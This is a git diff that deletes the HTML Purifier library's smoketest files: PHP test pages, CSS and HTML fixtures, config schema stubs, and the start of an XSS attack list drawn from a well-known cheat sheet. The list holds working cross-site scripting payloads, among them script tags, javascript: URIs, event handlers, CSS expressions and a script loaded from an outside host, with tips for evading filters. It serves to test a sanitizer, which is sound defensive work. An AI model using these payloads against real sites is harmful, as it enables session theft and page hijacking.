    HTML Purifier Attribute Transformation Smoketest

    -
    -
    - HTML -
    -
    - CSS -
    -
    -Requires PHP 5.

    '); - -$xml = simplexml_load_file('attrTransform.xml'); - -// attr transform enabled HTML Purifier -$config = HTMLPurifier_Config::createDefault(); -$config->set('HTML.Doctype', 'XHTML 1.0 Strict'); -$purifier = new HTMLPurifier($config); - -$title = isset($_GET['title']) ? $_GET['title'] : true; - -foreach ($xml->group as $group) { - echo '

    ' . $group['title'] . '

    '; - foreach ($group->sample as $sample) { - $sample = (string) $sample; -?> -
    -
    - -
    -
    - purify($sample); ?> -
    -
    - - - - - - -
  • menu
  • ]]>
    -
  • dir
  • ]]>
    -
    - - Red
    ]]> - #0000FF
    ]]> - Arial]]> - - - -2]]> - -1]]> - 0]]> - 1]]> - 2]]> - 3]]> - 4]]> - 5]]> - 6]]> - 7]]> - 8]]> - +1]]> - +2]]> - +3]]> - +4]]> - +5]]> - - - Centered]]> - - - Left

    ]]>
    - Center

    ]]>
    - Right

    ]]>
    -
    - - - - To - Be - - - Or - Not - - - To - Be - - - ]]> - - - Or - Not - - - To - Be - - - ]]> - - - ]]> - I]]> - - - - - x1 - x2 - - - ]]> - - - x1 - x2 - - - ]]> -
    ]]>
    -
    - - - - This wants to wrap - really badly yes it does - - - ]]> - - - This wants to wrap - really badly yes it does - - - ]]> - - - tall]]> - - - a]]> -
    o]]>
    -
    - - ]]> - ]]> - - - B
    A]]>
    - B
    A]]>
    - IB
    A]]>
    - IB
    A]]>
    -
    - - - Left - 1.11.2 - - ]]> - - Right - 1.11.2 - - ]]> - - Top - 1.11.2 - - ]]> - - Bottom - 1.11.2 - - ]]> - - - ]]> - ]]> - top]]> - bottom]]> - middle]]> - - - lefta]]> - centera]]> - righta]]> - - - left]]> - center]]> - right]]> - - -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
    - - - - - - diff --git a/vendor/htmlpurifier/smoketests/basic.php b/vendor/htmlpurifier/smoketests/basic.php deleted file mode 100644 index 1c361727c..000000000 --- a/vendor/htmlpurifier/smoketests/basic.php +++ /dev/null @@ -1,73 +0,0 @@ - true, - 'legacy' => true -); - -$page = isset($_GET['p']) ? $_GET['p'] : false; -if (!isset($allowed[$page])) $page = false; - -$strict = isset($_GET['d']) ? (bool) $_GET['d'] : false; - -echo ''; -?> - - - - - - - - HTML Purifier Basic Smoketest - - - - - -
    : -Swap
    -Valid XHTML 1.0 Transitional -
    -set('Attr.EnableID', true); - $config->set('HTML.Strict', $strict); - $purifier = new HTMLPurifier($config); - echo $purifier->purify(file_get_contents("basic/$page.html")); -} else { - ?> -

    HTML Purifier Basic Smoketest Index

    -
      - $b) { - ?>
    - - - * {background:#F00; color:#FFF; font-weight:bold; padding:0.2em; margin:0.1em;} -#core-attributes #core-attributes-id, -#core-attributes .core-attributes-class, -#core-attributes div[title='tooltip'], -#core-attributes div[lang='en'], -#core-attributes div[onclick="alert('foo');"], -#module-text abbr, -#module-text acronym, -#module-text div blockquote, -#module-text blockquote[cite='http://www.example.com'], -#module-text br, -#module-text cite, -#module-text code, -#module-text dfn, -#module-text em, -#module-text h1, -#module-text h2, -#module-text h3, -#module-text h4, -#module-text h5, -#module-text h6, -#module-text kbd, -#module-text p, -#module-text pre, -#module-text span q, -#module-text q[cite='http://www.example.com'], -#module-text samp, -#module-text strong, -#module-text var, -#module-hypertext span a, -#module-hypertext a[accesskey='q'], -#module-hypertext a[charset='UTF-8'], -#module-hypertext a[href='http://www.example.com/'], -#module-hypertext a[hreflang='en'], -#module-hypertext a[rel='nofollow'], -#module-hypertext a[rev='index'], -#module-hypertext a[tabindex='1'], -#module-hypertext a[type='text/plain'], -#module-list dl, -#module-list ul, -#module-list ol, -#module-list li, -#module-list dd, -#module-list dt, -.insert-declarations-above - {background:#008000; margin:0; padding:0.2em;} -#module-text span, #module-text div {padding:0; margin:0.1em;} -#module-list li, #module-list dd, #module-list dt {border:1px solid #FFF;} - -/* vim: et sw=4 sts=4 */ diff --git a/vendor/htmlpurifier/smoketests/basic/allElements.html b/vendor/htmlpurifier/smoketests/basic/allElements.html deleted file mode 100644 index 994c8df46..000000000 --- a/vendor/htmlpurifier/smoketests/basic/allElements.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - HTML Purifier All Elements Smoketest - - - - - -

    HTML Purifier All Elements Smoketest

    - -

    This is the all elements smoke -test. It is divided by XHTML 1.1 style modules. Make sure -div, span and id are allowed, -otherwise there will be problems.

    - -

    Core attributes

    -
    -
    id
    -
    class
    -
    title
    -
    lang
    -
    xml:lang (green when lang also present)
    -
    style
    -
    onclick (and other event handlers)
    -
    - -

    Text module

    -
    - abbr - acronym -
    blockquote
    -
    blockquote@cite
    -
    - cite - code - dfn - em -

    h1

    -

    h2

    -

    h3

    -

    h4

    -
    h5
    -
    h6
    - kbd -

    p

    -
    pre
    - q - q@cite - samp - strong - var -
    - -

    Hypertext module

    - - -

    List module

    -
    -
    dl dt
    dl dd
    -
    1. ol li
    -
    • ul li
    -
    - - - - - diff --git a/vendor/htmlpurifier/smoketests/basic/legacy.css b/vendor/htmlpurifier/smoketests/basic/legacy.css deleted file mode 100644 index fb600e400..000000000 --- a/vendor/htmlpurifier/smoketests/basic/legacy.css +++ /dev/null @@ -1,73 +0,0 @@ - -center, -dir[compact='compact'], -isindex[prompt='Foo'], -menu[compact='compact'], -s, -u, -strike, - -caption[align='bottom'], -div[align='center'], -dl[compact='compact'], - -h1[align='right'], -h2[align='right'], -h3[align='right'], -h4[align='right'], -h5[align='right'], -h6[align='right'], - -hr[align='right'], -hr[noshade='noshade'], -hr[width='50'], -hr[size='50'], - -img[align='right'], -img[border='3'], -img[hspace='5'], -img[vspace='5'], - -input[align='right'], -legend[align='center'], - -li[type='A'], -li[value='5'], - -ol[compact='compact'], -ol[start='3'], -ol[type='I'], - -p[align='right'], - -pre[width='50'], - -table[align='right'], -table[bgcolor='#0000FF'], - -tr[bgcolor='#0000FF'], - -td[bgcolor='#0000FF'], -td[height='50'], -td[nowrap='nowrap'], -td[width='200'], - -th[bgcolor='#0000FF'], -th[height='50'], -th[nowrap='nowrap'], -th[width='200'], - -ul[compact='compact'], -ul[type='square'], - -.insert-declarations-above - {background:#008000; color:#FFF; font-weight:bold;} - -font {background:#BFB;} -u {border:1px solid #000;} -hr {height:1em;} -hr[size='50'] {height:50px;} -img[border='3'] {border: 3px solid #000;} -li[type='a'], li[value='5'] {color:#DDD;} - -/* vim: et sw=4 sts=4 */ diff --git a/vendor/htmlpurifier/smoketests/basic/legacy.html b/vendor/htmlpurifier/smoketests/basic/legacy.html deleted file mode 100644 index 0ff1c7b52..000000000 --- a/vendor/htmlpurifier/smoketests/basic/legacy.html +++ /dev/null @@ -1,127 +0,0 @@ - - - - - HTML Purifier Legacy Smoketest Test Data - - - - - -

    HTML Purifier Legacy Smoketest Test Data

    - -

    This is the legacy smoketest.

    - -

    Elements

    - -
    -
    - - basefont: Green, Arial, size 6 text (IE-only) -
    - -
    center
    - - -
  • dir
  • -
    - -font: Green, Arial, size 6 text - -isindex: - - - -
  • menu
  • -
    - -s strike u -
    - -

    Attributes

    - -
    - - -
    *
    -
    -

    br@clear (asterisk is up)

    - - - - -
    caption@align
    Cell
    - -
    div@center
    - -
    -
    dl@compact
    -
    - -

    h1

    -

    h2

    -

    h3

    -

    h4

    -
    h5
    -
    h6
    - -hr@align -
    -hr@noshade -
    -hr@width -
    -hr@size -
    - -img@align | -img@border | -img@hspace | -img@vspace - - - -Legend - -
      -
    1. li@type (ensure that it's a capital A)
    2. -
    3. li@value
    4. -
    - -
    1. ol@compact
    -
    1. ol@start
    -
    1. ol@type
    - -

    p@align

    - -
    pre@width
    - - - -
    table@align
    -
    table@bgcolor
    - -
    tr@bgcolor
    - -
    td@bgcolor
    -
    td@height
    -
    td@nowrap
    -
    td@width
    - -
    th@bgcolor
    -
    th@height
    -
    th@nowrap
    -
    th@width
    - -
    • ul@compact
    -
    • ul@square
    - -
    - - - - - diff --git a/vendor/htmlpurifier/smoketests/cacheConfig.php b/vendor/htmlpurifier/smoketests/cacheConfig.php deleted file mode 100644 index 642a75316..000000000 --- a/vendor/htmlpurifier/smoketests/cacheConfig.php +++ /dev/null @@ -1,14 +0,0 @@ -set('HTML.Doctype', 'HTML 4.01 Strict'); -$config->set('HTML.Allowed', 'b,a[href],br'); -$config->set('CSS.AllowTricky', true); -$config->set('URI.Disable', true); -$serial = $config->serialize(); - -$result = unserialize($serial); -$purifier = new HTMLPurifier($result); -echo htmlspecialchars($purifier->purify('Bold
    no formatting')); diff --git a/vendor/htmlpurifier/smoketests/common.php b/vendor/htmlpurifier/smoketests/common.php deleted file mode 100644 index b2c2b4bb4..000000000 --- a/vendor/htmlpurifier/smoketests/common.php +++ /dev/null @@ -1,39 +0,0 @@ - $val) { - if (!is_array($val)) { - $array[$k] = stripslashes($val); - } else { - fix_magic_quotes($array[$k]); - } - } - } - - fix_magic_quotes($_GET); - fix_magic_quotes($_POST); - fix_magic_quotes($_COOKIE); - fix_magic_quotes($_REQUEST); - fix_magic_quotes($_ENV); - fix_magic_quotes($_SERVER); -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/configForm.php b/vendor/htmlpurifier/smoketests/configForm.php deleted file mode 100644 index 90e80ac56..000000000 --- a/vendor/htmlpurifier/smoketests/configForm.php +++ /dev/null @@ -1,77 +0,0 @@ -validate(); - -if (isset($_GET['doc'])) { - - // Hijack page generation to supply documentation - - if (file_exists('test-schema.html') && !isset($_GET['purge'])) { - echo file_get_contents('test-schema.html'); - exit; - } - - $style = 'plain'; - $configdoc_xml = 'test-schema.xml'; - - $xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); - $xml_builder->openURI($configdoc_xml); - $xml_builder->build($interchange); - unset($xml_builder); // free handle - - $xslt = new ConfigDoc_HTMLXSLTProcessor(); - $xslt->importStylesheet("../configdoc/styles/$style.xsl"); - $xslt->setParameters(array( - 'css' => '../configdoc/styles/plain.css', - )); - $html = $xslt->transformToHTML($configdoc_xml); - - unlink('test-schema.xml'); - file_put_contents('test-schema.html', $html); - echo $html; - - exit; -} - -?> - - - HTML Purifier Config Form Smoketest - - - - - -

    HTML Purifier Config Form Smoketest

    -

    This file outputs the configuration form for every single type -of directive possible.

    - -build($interchange); - -$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', true, true, $schema); -$printer = new HTMLPurifier_Printer_ConfigForm('config', '?doc#%s'); -echo $printer->render(array(HTMLPurifier_Config::createDefault(), $config)); - -?> - -
    -getAll(), true));
    -?>
    -
    - - -'; -?> - - - HTML Purifier data Scheme Smoketest - - - -

    HTML Purifier data Scheme Smoketest

    -'; - -$purifier = new HTMLPurifier(array('URI.AllowedSchemes' => 'data')); - -?> -
    purify($string); -?>
    - - - - -Error: CSSTidy library not -found, please install and configure test-settings.php -accordingly. - true, -)); - -$html = isset($_POST['html']) ? $_POST['html'] : ''; -$purified_html = $purifier->purify($html); - -?> - - - Extract Style Blocks - HTML Purifier Smoketest - -context->get('StyleBlocks') as $style) { -?> - - - -

    Extract Style Blocks

    -

    - This smoketest allows users to specify global style sheets for the - document, allowing for interesting techniques and compact markup - that wouldn't normally be possible, using the ExtractStyleBlocks filter. -

    -

    - User submitted content: -

    -
    - -
    -
    - - -
    - - - - - innerHTML smoketest - - - - - - - - diff --git a/vendor/htmlpurifier/smoketests/innerHTML.js b/vendor/htmlpurifier/smoketests/innerHTML.js deleted file mode 100644 index 74ccbb688..000000000 --- a/vendor/htmlpurifier/smoketests/innerHTML.js +++ /dev/null @@ -1,51 +0,0 @@ -var alphabet = 'a!`=[]\\;\':"/<> &'; - -var out = document.getElementById('out'); -var testContainer = document.getElementById('testContainer'); - -function print(s) { - out.value += s + "\n"; -} - -function testImage() { - return testContainer.firstChild; -} - -function test(input) { - var count = 0; - var oldInput, newInput; - testContainer.innerHTML = ""; - testImage().setAttribute("alt", input); - print("------"); - print("Test input: " + input); - do { - oldInput = testImage().getAttribute("alt"); - var intermediate = testContainer.innerHTML; - print("Render: " + intermediate); - testContainer.innerHTML = intermediate; - if (testImage() == null) { - print("Image disappeared..."); - break; - } - newInput = testImage().getAttribute("alt"); - print("New value: " + newInput); - count++; - } while (count < 5 && newInput != oldInput); - if (count == 5) { - print("Failed to achieve fixpoint"); - } - testContainer.innerHTML = ""; -} - -print("Go!"); - -test("`` "); -test("'' "); - -for (var i = 0; i < alphabet.length; i++) { - for (var j = 0; j < alphabet.length; j++) { - test(alphabet.charAt(i) + alphabet.charAt(j)); - } -} - -// document.getElementById('out').textContent = alphabet; diff --git a/vendor/htmlpurifier/smoketests/preserveYouTube.php b/vendor/htmlpurifier/smoketests/preserveYouTube.php deleted file mode 100644 index 1dfa85cb6..000000000 --- a/vendor/htmlpurifier/smoketests/preserveYouTube.php +++ /dev/null @@ -1,72 +0,0 @@ -'; -?> - - - HTML Purifier Preserve YouTube Smoketest - - - -

    HTML Purifier Preserve YouTube Smoketest

    - - - - - - - - - -'; - -$regular_purifier = new HTMLPurifier(); - -$safeobject_purifier = new HTMLPurifier(array( - 'HTML.SafeObject' => true, - 'Output.FlashCompat' => true, -)); - -?> -

    Unpurified

    -

    Click here to see the unpurified version (breaks validation).

    -
    - -

    Without YouTube exception

    -
    purify($string); -?>
    - -

    With SafeObject exception and flash compatibility

    -
    purify($string); -?>
    - - - -prepareGenerator($gen_config); -$printer_css_definition = new HTMLPurifier_Printer_CSSDefinition(); -$printer_css_definition->prepareGenerator($gen_config); - -$printer_config_form = new HTMLPurifier_Printer_ConfigForm( - 'config', - 'http://htmlpurifier.org/live/configdoc/plain.html#%s' -); - -echo ''; - -?> - - - - HTML Purifier Printer Smoketest - - - - - - - -

    HTML Purifier Printer Smoketest

    - -

    HTML Purifier claims to have a robust yet permissive whitelist: this -page will allow you to see precisely what HTML Purifier's internal -whitelist is. You can -also twiddle with the configuration settings to see how a directive -influences the internal workings of the definition objects.

    - -

    Modify configuration

    - -

    You can specify an array by typing in a comma-separated -list of items, HTML Purifier will take care of the rest (including -transformation into a real array list or a lookup table).

    - -
    -render($config, 'HTML'); -?> -

    * Some configuration directives make a distinction between an empty -variable and a null variable. A whitelist, for example, will take an -empty array as meaning no allowed elements, while checking -Null/Disabled will mean that user whitelisting functionality is disabled.

    -
    - -

    Definitions

    - -
    -
    Parent of Fragment
    -
    HTML that HTML Purifier does not live in a void: when it's - output, it has to be placed in another element by means of - something like <element> <?php echo $html - ?> </element>. The parent in this example - is element.
    -
    Strict mode
    -
    Whether or not HTML Purifier's output is Transitional or - Strict compliant. Non-strict mode still actually a little strict - and converts many deprecated elements.
    -
    #PCDATA
    -
    Literally Parsed Character Data, it is regular - text. Tags like ul don't allow text in them, so - #PCDATA is missing.
    -
    Tag transform
    -
    A tag transform will change one tag to another. Example: font - turns into a span tag with appropriate CSS.
    -
    Attr Transform
    -
    An attribute transform changes a group of attributes based on one - another. Currently, only lang and xml:lang - use this hook, to synchronize each other's values. Pre/Post indicates - whether or not the transform is done before/after validation.
    -
    Excludes
    -
    Tags that an element excludes are excluded for all descendants of - that element, and not just the children of them.
    -
    Name(Param1, Param2)
    -
    Represents an internal data-structure. You'll have to check out - the corresponding classes in HTML Purifier to find out more.
    -
    - -

    HTMLDefinition

    -render($config) ?> -

    CSSDefinition

    -render($config) ?> - - - 'val1', 'key2' => 'val2') -DESCRIPTION: The hash type is an associative array of string keys and string values. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.int.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.int.txt deleted file mode 100644 index 157df3f3e..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.int.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.int -TYPE: int -DEFAULT: 23 -DESCRIPTION: The int type is an signed integer. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.istring.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.istring.txt deleted file mode 100644 index dfd43aa48..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.istring.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.istring -TYPE: istring -DEFAULT: 'case insensitive' -DESCRIPTION: The istring type is short (no newlines), must be ASCII and is case-insensitive. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.itext.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.itext.txt deleted file mode 100644 index 97140dea8..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.itext.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.itext -TYPE: itext -DEFAULT: "case\ninsensitive\nand\npossibly\nquite\nlong" -DESCRIPTION: The text type has newlines, must be ASCII and is case-insensitive. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.list.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.list.txt deleted file mode 100644 index 55497fcdf..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.list.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.list -TYPE: list -DEFAULT: array('item1', 'item2') -DESCRIPTION: The list type is a numerically indexed array of strings. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.lookup.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.lookup.txt deleted file mode 100644 index b2479912f..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.lookup.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.lookup -TYPE: lookup -DEFAULT: array('key1' => true, 'key2' => true) -DESCRIPTION: The lookup type acts just like list, except its elements are unique and are checked with isset($var[$key]). ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.mixed.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.mixed.txt deleted file mode 100644 index 8bc14bbe6..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.mixed.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.mixed -TYPE: mixed -DEFAULT: new stdclass() -DESCRIPTION: The mixed type allows any type, and is not form-editable. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.nullbool.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.nullbool.txt deleted file mode 100644 index d3d756fc6..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.nullbool.txt +++ /dev/null @@ -1,7 +0,0 @@ -Type.nullbool -TYPE: bool/null -DEFAULT: null ---DESCRIPTION-- -Null booleans need to be treated a little specially. See %Type.nullstring -for information on what the null flag does. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.nullstring.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.nullstring.txt deleted file mode 100644 index 4db33235d..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.nullstring.txt +++ /dev/null @@ -1,9 +0,0 @@ -Type.nullstring -TYPE: string/null -DEFAULT: null ---DESCRIPTION-- -The null type is not a type, but a flag that can be added to any type -making null a valid value for that entry. It's useful for saying, "Let -the software pick the value for me," or "Don't use this element" when -false has a special meaning. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.string.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.string.txt deleted file mode 100644 index 4cde40907..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.string.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.string -TYPE: string -DEFAULT: 'Case sensitive' -DESCRIPTION: The string type is short (no newlines) and case-sensitive. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.text.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.text.txt deleted file mode 100644 index 5fca4d567..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.text.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.text -TYPE: text -DEFAULT: "Case sensitive\nand\npossibly\nquite long..." -DESCRIPTION: The text type has newlines and is case-sensitive. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/Type.txt b/vendor/htmlpurifier/smoketests/test-schema/Type.txt deleted file mode 100644 index b4761220c..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/Type.txt +++ /dev/null @@ -1,3 +0,0 @@ -Type -DESCRIPTION: Directives demonstration the variable types ConfigSchema supports. ---# vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/test-schema/info.ini b/vendor/htmlpurifier/smoketests/test-schema/info.ini deleted file mode 100644 index 438e8acce..000000000 --- a/vendor/htmlpurifier/smoketests/test-schema/info.ini +++ /dev/null @@ -1,3 +0,0 @@ -name = "Test Schema" - -; vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/smoketests/variableWidthAttack.php b/vendor/htmlpurifier/smoketests/variableWidthAttack.php deleted file mode 100644 index f3b6e8214..000000000 --- a/vendor/htmlpurifier/smoketests/variableWidthAttack.php +++ /dev/null @@ -1,57 +0,0 @@ -'; -?> - - - HTML Purifier Variable Width Attack Smoketest - - - -

    HTML Purifier Variable Width Attack Smoketest

    -

    For more information, see -Cheng Peng Su's -original advisory. This particular exploit code appears only to work -in Internet Explorer, if it works at all.

    -

    Test

    - - - - -A"'; // in our out the attribute? ;-) - $html .= "onerror=alert('$i')>O"; - $pure_html = $purifier->purify($html); -?> - - - - - - - - -
    ASCIIRawOutputRender
    - -

    Analysis

    - -

    By making sure that UTF-8 is well formed and non-SGML codepoints are -removed, as well as escaping quotes outside of tags, this is a non-threat.

    - - - -\t', '»', '\0'), - escapeHTML( - str_replace("\0", '\0(null)', - wordwrap($string, 28, " »\n", true) - ) - ) - ); -} - -?> - - - HTML Purifier XSS Attacks Smoketest - - - - -

    HTML Purifier XSS Attacks Smoketest

    -

    XSS attacks are from -http://ha.ckers.org/xss.html.

    -

    Caveats: -Google.com has been programatically disallowed, but as you can -see, there are ways of getting around that, so coverage in this area -is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. -The displayed code is not strictly correct, as linebreaks have been forced for -readability. Linewraps have been marked with ». Some tests are -omitted for your convenience. Not all control characters are displayed.

    - -

    Test

    -Requires PHP 5.

    '); - -$xml = simplexml_load_file('xssAttacks.xml'); - -// programatically disallow google.com for URI evasion tests -// not complete -$config = HTMLPurifier_Config::createDefault(); -$config->set('URI.HostBlacklist', array('google.com')); -$purifier = new HTMLPurifier($config); - -?> - - - -attack as $attack) { - $code = $attack->code; - - // custom code for null byte injection tests - if (substr($code, 0, 7) == 'perl -e') { - $code = substr($code, $i=strpos($code, '"')+1, strrpos($code, '"') - $i); - $code = str_replace('\0', "\0", $code); - } - - // disable vectors we cannot test in any meaningful way - if ($code == 'See Below') continue; // event handlers, whitelist defeats - if ($attack->name == 'OBJECT w/Flash 2') continue; // requires ActionScript - if ($attack->name == 'IMG Embedded commands 2') continue; // is an HTTP response - - // custom code for US-ASCII, which couldn't be expressed in XML without encoding - if ($attack->name == 'US-ASCII encoding') $code = urldecode($code); -?> - > - - - purify($code); ?> - - - - - -
    NameRawOutputRender
    name); ?>
    - - - - - - XSS Locator - ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} - - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - XSS Quick Test - '';!--"<XSS>=&{()} - If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Alert() - <SCRIPT>alert('XSS')</SCRIPT> - Basic injection attack - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Source File - <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> - No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Char Code - <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BASE - <BASE HREF="javascript:alert('XSS');//"> - Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - BGSOUND - <BGSOUND SRC="javascript:alert('XSS');"> - BGSOUND - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BODY background-image - <BODY BACKGROUND="javascript:alert('XSS');"> - BODY image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BODY ONLOAD - <BODY ONLOAD=alert('XSS')> - BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - DIV background-image 1 - <DIV STYLE="background-image: url(javascript:alert('XSS'))"> - Div background-image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - DIV background-image 2 - <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> - Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - DIV expression - <DIV STYLE="width: expression(alert('XSS'));"> - Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - FRAME - <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> - Frame (Frames have the same sorts of XSS problems as iframes). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IFRAME - <IFRAME SRC="javascript:alert('XSS');"></IFRAME> - Iframe (If iframes are allowed there are a lot of other XSS problems as well). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - INPUT Image - <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> - INPUT Image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG w/JavaScript Directive - <IMG SRC="javascript:alert('XSS');"> - Image XSS using the JavaScript directive. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG No Quotes/Semicolon - <IMG SRC=javascript:alert('XSS')> - No quotes and no semicolon - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span 